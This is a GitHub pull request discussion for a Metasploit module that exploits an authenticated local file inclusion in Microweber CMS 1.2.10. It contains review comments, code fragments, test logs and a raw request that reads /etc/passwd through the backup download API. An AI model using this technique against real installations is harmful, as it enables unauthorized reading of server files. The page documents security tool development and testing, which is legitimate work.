-
Notifications
You must be signed in to change notification settings - Fork 13.9k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Microweber v1.2.10 Local File Inclusion (Authenticated) #16156
Conversation
Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools. We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:
You can automate most of these changes with the
Please update your branch after these have been made, and reach out if you have any problems. |
Thanks for your pull request! Before this can be merged, we need the following documentation for your module: |
def run | ||
is_version_valid = check_version | ||
is_login_valid = login | ||
|
||
if !is_version_valid || !is_login_valid | ||
return | ||
end | ||
|
||
is_upload_successful = upload | ||
if is_upload_successful | ||
download | ||
end | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The returned values are only used once. Rather than store the returned values in temporary variables with meaningful names, it would make more sense to simply give the methods meaningful names.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks. I fixed it.
Added the documentation. |
OptString.new('ADMIN_USER', [true, 'The admin\'s username for Microweber']), | ||
OptString.new('ADMIN_PASS', [true, 'The admin\'s password for Microweber']), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I believe if we rename these fields to USERNAME
and PASSWORD
then the module should work with this syntax:
use auxiliary/gather/microweber_lfi
run http://user:pass@127.0.0.1
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks I fixed it. You can now use run http://user:pass@127.0.0.1
to run the module.
Linting is done. |
@bcoles the module passed 16 checks including the lint. Could you remove |
'SideEffects' => [ 'ARTIFACTS_ON_DISK', 'IOC_IN_LOGS' ], | ||
'Reliability' => [ 'REPEATABLE_SESSION' ], | ||
'Stability' => [ 'OS_RESOURCE_LOSS' ] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Utilise constants, not strings.
'SideEffects' => [ 'ARTIFACTS_ON_DISK', 'IOC_IN_LOGS' ], | |
'Reliability' => [ 'REPEATABLE_SESSION' ], | |
'Stability' => [ 'OS_RESOURCE_LOSS' ] | |
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], | |
'Reliability' => [ REPEATABLE_SESSION ], | |
'Stability' => [ OS_RESOURCE_LOSS ] |
end | ||
|
||
def check | ||
check_version ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If we are checking the version, this should return Appears
rather than Vulnerable
.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Fixed.
end | ||
|
||
def check_version | ||
print_warning 'Triggering this vulnerability may delete the local file that is wanted to be read.' |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Could this warning be moved to the module info instead, so that a user receives this warning before running the module?
We might also benefit from using a DefangedMode
approach, similar to
metasploit-framework/modules/exploits/windows/smb/smb_shadow.rb
Lines 76 to 85 in a458961
if datastore['DefangedMode'].to_s == 'true' | |
warning = <<~EOF | |
Are you SURE you want to modify your port forwarding tables? | |
You MAY contaminate your current network configuration. | |
Disable the DefangedMode option if you wish to proceed. | |
EOF | |
fail_with(Failure::BadConfig, warning) | |
end |
if version.include?('Version: 1.2.10') | ||
print_good 'Microweber ' + version |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Could we use a single regex to extract the version number?
Also we should make sure that the application we are targeting is actually Microweber, rather than assuming that.
Using Rex::Version
would be preferred as seen here
if (build_num_gemversion >= Rex::Version.new('6.0.6000.0')) && (build_num_gemversion < Rex::Version.new('6.0.6003.20692')) # Windows Vista and Windows Server 2008 |
check_version ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe | ||
end | ||
|
||
def check_version |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This method should become the check
method, and should return CheckCode
s rather than true/false.
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'api', 'BackupV2', 'upload'), | ||
'cookie' => @cookie, |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would this be a good candidate for using a cookie jar functionality? https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HttpClient#keep_cookies-option
'filename' => filename | ||
}, | ||
'headers' => { | ||
'Referer' => datastore['SSL'] ? 'https://' + datastore['RHOSTS'] + target_uri.path : 'http://' + datastore['RHOSTS'] + target_uri.path |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would using a referer helper method be beneficial? https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/http_client.rb#L543
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thank you for this contribution, this is a great effort.
- The
check
method can be consolidated and utilized viaMsf::Exploit::Remote::AutoCheck
. - Many recommendation suggest shifting to raising on error to end execution earlier.
def check | ||
check_version ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe | ||
end | ||
|
||
def check_version |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
def check | |
check_version ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe | |
end | |
def check_version | |
def check |
begin | ||
version = res.body[/Version:\s+\d+\.\d+\.\d+/].gsub(' ', '').gsub(':', ': ') | ||
rescue NoMethodError, TypeError | ||
return false |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
return false | |
return Exploit::CheckCode::Safe |
|
||
if version.include?('Version: 1.2.10') | ||
print_good 'Microweber ' + version | ||
return true |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
return true | |
return Exploit::CheckCode::Appears |
end | ||
|
||
print_error 'Microweber ' + version | ||
return false |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
return false | |
return Exploit::CheckCode::Safe |
|
||
if res.headers['Content-Type'] != 'application/json' | ||
print_status res.body | ||
return false |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
return false | |
fail_with(Msf::Exploit::Failure::Unknown, 'Invalid Content-Type returned') |
print_error json_res['error'] | ||
return |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
print_error json_res['error'] | |
return | |
fail_with(Msf::Exploit::Failure::Unknown, json_res['error']) |
if !check_version || !try_login | ||
return | ||
end | ||
|
||
if try_upload | ||
try_download | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
By prepending Msf::Exploit::Remote::AutoCheck
the check
method is run prior to the run
method and will halt execution in a not vulnerable code is returned.
With other changes suggested to have methods call fail_with
the module will raise early avoiding the need to run test each method call result.
if !check_version || !try_login | |
return | |
end | |
if try_upload | |
try_download | |
end | |
try_login | |
try_upload | |
try_download |
Following @jmartin-r7 and @sjanusz-r7's advice, I updated the code and the documentation. |
Looks like this doesn't quite work for me - either for an admin account, or a normal user account. I didn't try a disabled account though. Here were my verification steps: Docker setupSetting up a docker environment:
Visit http://localhost:8000 and create a new account with the credentials Verifying 1.2.11Verifying check method against a newer version:
Works as expected 👍 Verifying 1.2.10Running against a vulnerable version:
Running against a vulnerable version with defang mode false:
The password is correct, verified by using incorrect credentials:
Here's the request that led to the failure, enabled by
I also added an extra user account that didn't have admin privileges: Running with defanged mode doesn't seem to handle this scenario gracefully, i.e. the file is treated as non-existent, but it's actually a permissions error:
Verified by jumping into the container and verifying the contents is present:
Here's the http logging for that scenario:
|
Let me know if I missed any setup steps, or if you update the module again @talhak08 - and I should be able to run through testing this again 👍 |
@adfoster-r7 Thank you. I checked it. The issue was weird. The reason why you get Referer: http://127.0.0.1/ will not work! Could you reproduce the same thing in your testing environment? |
Thanks for checking, that seems to have been the issue 👍 I was able to confirm that
Reading a non-existant file is handled as expected:
It looks like user account credentials will receive a
Potentially the check method/exploit method could be enhanced to work with user accounts, but I'm good to land this for now 👍 If you want to throw up a separate PR to improve that edge-case of providing user credentials, or the referrer being wrong, that would work too 🎉 |
Just thinking a bit more about the host/referrer edgecase, I wonder if that's more of an issue if the microweber app is behind a load balancer and the public facing/private ips will be different, or when the user specifying specifies a domain to target? 🤔 Adding to /etc/hosts:
Targeting microweber.example.com and getting the error:
|
@adfoster-r7 Thanks again. Non-administrator users cannot exploit this vulnerability due to the permission check: I changed the Nginx configuration.
Added the GET /api/BackupV2/download?file=passwd HTTP/1.1
Host: example.microweber.com
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://example.microweber.com/admin/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: laravel_session=aqLhOQjqyvF53LmAGSipahbbDhWsBo2MrJ0uuyh2; remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=1%7CFW5hrQuPMWEkWv1b8X09Ero2Bq3ZoFBXNKWkCpNpTAaltdX5NgrVBQCItwOj%7C%242y%2410%24.ag30XgeuoFHZnkP%2Fz7nKe0jyqu4ojm14yeiIkCfXvIZfGijpGcsO;
Connection: close It works!
Let's look at the problem in Metasploit: As you can see the value in the
I'm going to update the code. |
@adfoster-r7 I added |
@adfoster-r7 this is the proof of concept:
|
If So this case is OK as well:
|
Release NotesAdds a new module |
@talhak08 Thanks! 🎉 |
Microweber CMS v1.2.10 LFI (Authenticated) has been verified and fixed according to the maintainer of the project. You check out the vulnerability report:
https://huntr.dev/bounties/09218d3f-1f6a-48ae-981c-85e86ad5ed8b/
The older versions of Microweber CMS might be vulnerable too. I've not tested the module against the other versions.
If you want, you can follow the steps in the official vulnerability report to reproduce the vulnerability against the older versions. (not guaranteed)
PoC
2022-02-10.21-15-08.mp4
Verification Steps
msfconsole
use auxiliary/gather/microweber_lfi
RHOSTS
USERNAME
PASSWORD
LOCAL_FILE_PATH
exploit
Checking if it's Microweber CMS.
Microweber CMS has been detected.
Checking Microweber's version.
Microweber version 1.2.10
The target appears to be vulnerable.
Trying to log in.
You are logged in
Uploading LOCAL_FILE_PATH to the backup folder.
FILE was moved!
Downloading FILE from the backup folder.
Options
Scenerios
This module has been tested against Microweber CMS v1.2.10 installed on Ubuntu.